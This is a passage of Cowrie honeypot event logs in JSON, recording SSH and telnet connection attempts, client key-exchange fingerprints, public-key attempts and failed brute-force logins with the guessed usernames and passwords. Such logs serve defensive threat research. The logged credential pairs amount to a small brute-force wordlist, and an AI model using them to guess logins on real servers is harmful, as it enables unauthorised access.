dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:58.092250Z","src_ip":"139.19.117.129","session":"c01a6cc3bebd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:cf:ac:95:ec:db:93:94:0b:27:c3:4c:30:72:05:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC93kGbntDGrurmg8nLFusu0vgUHz0p4CvMM0s+x/csptronMkP/eWrYDy3LeXoVm8KV7A35w+ZjsfOzwXaaG1rvx+kLvrR/vPXSK/TDa9G84kgumDW3cPpvCnF/AMk1Ho9QWyOc3WJFQS1+3p3UcsfedUwtfSg+KirigXxOcfjbgff0fH0MotcQS/hF8x7298UI3F//775EkQMXPHwd/nVgYKx6IIJ9oWq7/tUYfum8VKqKZnfkto83r5jrwknmhKzrgcBNMGZvKwb98Q9nO4y6mP5N0RoqcfPBn8G9URV4rh42rtFUm5Qo9/msLbGI+Dt5GtXMUGmNX3FzJv132QYh3Q55XXViHmgQxTw4Q2GOp0US+b+GDLmqAh8oyyDDqPIlTPAj81ixvZTjGySojp2VEVB6xE+0sc6xxVISm9INKBd8MgrL4Mmh1acTaxgUOnvsiybwHpYe07DO+bfA3FxTtbHzrq4OytzSWWj0KYH0PV7Pt8b/zWHGo7Adzawmek=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:cf:ac:95:ec:db:93:94:0b:27:c3:4c:30:72:05:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:58.272633Z","src_ip":"139.19.117.129","session":"c01a6cc3bebd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:cf:ac:95:ec:db:93:94:0b:27:c3:4c:30:72:05:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC93kGbntDGrurmg8nLFusu0vgUHz0p4CvMM0s+x/csptronMkP/eWrYDy3LeXoVm8KV7A35w+ZjsfOzwXaaG1rvx+kLvrR/vPXSK/TDa9G84kgumDW3cPpvCnF/AMk1Ho9QWyOc3WJFQS1+3p3UcsfedUwtfSg+KirigXxOcfjbgff0fH0MotcQS/hF8x7298UI3F//775EkQMXPHwd/nVgYKx6IIJ9oWq7/tUYfum8VKqKZnfkto83r5jrwknmhKzrgcBNMGZvKwb98Q9nO4y6mP5N0RoqcfPBn8G9URV4rh42rtFUm5Qo9/msLbGI+Dt5GtXMUGmNX3FzJv132QYh3Q55XXViHmgQxTw4Q2GOp0US+b+GDLmqAh8oyyDDqPIlTPAj81ixvZTjGySojp2VEVB6xE+0sc6xxVISm9INKBd8MgrL4Mmh1acTaxgUOnvsiybwHpYe07DO+bfA3FxTtbHzrq4OytzSWWj0KYH0PV7Pt8b/zWHGo7Adzawmek=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:58.277596Z","src_ip":"139.19.117.129","session":"c01a6cc3bebd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:cf:ac:95:ec:db:93:94:0b:27:c3:4c:30:72:05:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC93kGbntDGrurmg8nLFusu0vgUHz0p4CvMM0s+x/csptronMkP/eWrYDy3LeXoVm8KV7A35w+ZjsfOzwXaaG1rvx+kLvrR/vPXSK/TDa9G84kgumDW3cPpvCnF/AMk1Ho9QWyOc3WJFQS1+3p3UcsfedUwtfSg+KirigXxOcfjbgff0fH0MotcQS/hF8x7298UI3F//775EkQMXPHwd/nVgYKx6IIJ9oWq7/tUYfum8VKqKZnfkto83r5jrwknmhKzrgcBNMGZvKwb98Q9nO4y6mP5N0RoqcfPBn8G9URV4rh42rtFUm5Qo9/msLbGI+Dt5GtXMUGmNX3FzJv132QYh3Q55XXViHmgQxTw4Q2GOp0US+b+GDLmqAh8oyyDDqPIlTPAj81ixvZTjGySojp2VEVB6xE+0sc6xxVISm9INKBd8MgrL4Mmh1acTaxgUOnvsiybwHpYe07DO+bfA3FxTtbHzrq4OytzSWWj0KYH0PV7Pt8b/zWHGo7Adzawmek=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:cf:ac:95:ec:db:93:94:0b:27:c3:4c:30:72:05:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:58.375823Z","src_ip":"139.19.117.129","session":"c01a6cc3bebd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:cf:ac:95:ec:db:93:94:0b:27:c3:4c:30:72:05:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC93kGbntDGrurmg8nLFusu0vgUHz0p4CvMM0s+x/csptronMkP/eWrYDy3LeXoVm8KV7A35w+ZjsfOzwXaaG1rvx+kLvrR/vPXSK/TDa9G84kgumDW3cPpvCnF/AMk1Ho9QWyOc3WJFQS1+3p3UcsfedUwtfSg+KirigXxOcfjbgff0fH0MotcQS/hF8x7298UI3F//775EkQMXPHwd/nVgYKx6IIJ9oWq7/tUYfum8VKqKZnfkto83r5jrwknmhKzrgcBNMGZvKwb98Q9nO4y6mP5N0RoqcfPBn8G9URV4rh42rtFUm5Qo9/msLbGI+Dt5GtXMUGmNX3FzJv132QYh3Q55XXViHmgQxTw4Q2GOp0US+b+GDLmqAh8oyyDDqPIlTPAj81ixvZTjGySojp2VEVB6xE+0sc6xxVISm9INKBd8MgrL4Mmh1acTaxgUOnvsiybwHpYe07DO+bfA3FxTtbHzrq4OytzSWWj0KYH0PV7Pt8b/zWHGo7Adzawmek=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:30:58.378881Z","src_ip":"139.19.117.129","session":"c01a6cc3bebd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:31:07.998929Z","src_ip":"139.19.117.129","session":"c01a6cc3bebd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.247.63.92","src_port":25203,"dst_ip":"10.17.0.5","dst_port":22,"session":"484dc3c6b211","protocol":"ssh","message":"New connection: 180.247.63.92:25203 (10.17.0.5:22) [session: 484dc3c6b211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:31:22.399623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:31:22.404397Z","src_ip":"180.247.63.92","session":"484dc3c6b211","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:31:22.661738Z","src_ip":"180.247.63.92","session":"484dc3c6b211","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test3","password":"password","message":"login attempt [test3/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:31:23.726164Z","src_ip":"180.247.63.92","session":"484dc3c6b211","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":33366,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d5013d2057a","protocol":"ssh","message":"New connection: 103.82.132.16:33366 (10.17.0.5:22) [session: 8d5013d2057a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:31:24.972104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:31:24.975459Z","src_ip":"103.82.132.16","session":"8d5013d2057a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:31:24.986403Z","src_ip":"180.247.63.92","session":"484dc3c6b211","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:31:25.225729Z","src_ip":"103.82.132.16","session":"8d5013d2057a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wv56jo9u","message":"login attempt [root/wv56jo9u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:31:25.972819Z","src_ip":"103.82.132.16","session":"8d5013d2057a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:31:27.223214Z","src_ip":"103.82.132.16","session":"8d5013d2057a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.241","src_port":47842,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1db64a3caff","protocol":"ssh","message":"New connection: 162.241.239.241:47842 (10.17.0.5:22) [session: a1db64a3caff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:31:28.185916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:31:28.189827Z","src_ip":"162.241.239.241","session":"a1db64a3caff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:31:28.217131Z","src_ip":"162.241.239.241","session":"a1db64a3caff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mexc456","message":"login attempt [root/mexc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:31:28.300528Z","src_ip":"162.241.239.241","session":"a1db64a3caff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:31:29.330991Z","src_ip":"162.241.239.241","session":"a1db64a3caff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.197.250","src_port":35746,"dst_ip":"10.17.0.5","dst_port":22,"session":"77d20b000f2e","protocol":"ssh","message":"New connection: 192.169.197.250:35746 (10.17.0.5:22) [session: 77d20b000f2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:31:39.408309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:31:39.415118Z","src_ip":"192.169.197.250","session":"77d20b000f2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:31:39.479881Z","src_ip":"192.169.197.250","session":"77d20b000f2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crypto","password":"S3cur3$P@ss!W0rd%","message":"login attempt [crypto/S3cur3$P@ss!W0rd%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:31:39.675380Z","src_ip":"192.169.197.250","session":"77d20b000f2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:31:40.749013Z","src_ip":"192.169.197.250","session":"77d20b000f2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49726,"dst_ip":"159.203.135.109","dst_port":23,"session":"37bb5c6e9633","protocol":"telnet","message":"New connection: 170.64.224.25:49726 (159.203.135.109:23) [session: 37bb5c6e9633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:31:42.098402Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.116.158","src_port":43962,"dst_ip":"159.203.135.109","dst_port":23,"session":"85514b762060","protocol":"telnet","message":"New connection: 167.172.116.158:43962 (159.203.135.109:23) [session: 85514b762060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:31:50.809950Z"}
{"eventid":"cowrie.session.closed","duration":28.532516479492188,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:32:10.630819Z","src_ip":"170.64.224.25","session":"37bb5c6e9633","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.116.158","src_port":58838,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3d841b4157c","protocol":"telnet","message":"New connection: 167.172.116.158:58838 (159.203.135.109:23) [session: f3d841b4157c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:32:17.637476Z"}
{"eventid":"cowrie.session.closed","duration":0.0029227733612060547,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:32:17.640287Z","src_ip":"167.172.116.158","session":"f3d841b4157c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00450563430786,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:32:43.922724Z","src_ip":"137.184.5.188","session":"c01a07ebd699","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":45696,"dst_ip":"159.203.135.109","dst_port":23,"session":"e11e3b8f7426","protocol":"telnet","message":"New connection: 143.198.154.150:45696 (159.203.135.109:23) [session: e11e3b8f7426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:32:47.303050Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.121.40.210","src_port":60540,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c51c15fc4bd","protocol":"ssh","message":"New connection: 203.121.40.210:60540 (159.203.135.109:22) [session: 2c51c15fc4bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:32:58.584700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:32:58.588768Z","src_ip":"203.121.40.210","session":"2c51c15fc4bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:32:58.926358Z","src_ip":"203.121.40.210","session":"2c51c15fc4bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":68.62302303314209,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:32:59.432828Z","src_ip":"167.172.116.158","session":"85514b762060","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"wk123456","message":"login attempt [root/wk123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:33:00.538843Z","src_ip":"203.121.40.210","session":"2c51c15fc4bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:33:01.780737Z","src_ip":"203.121.40.210","session":"2c51c15fc4bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":33066,"dst_ip":"10.17.0.5","dst_port":22,"session":"51ea3f465e7e","protocol":"ssh","message":"New connection: 210.90.155.178:33066 (10.17.0.5:22) [session: 51ea3f465e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:33:11.968802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:33:11.972929Z","src_ip":"210.90.155.178","session":"51ea3f465e7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ss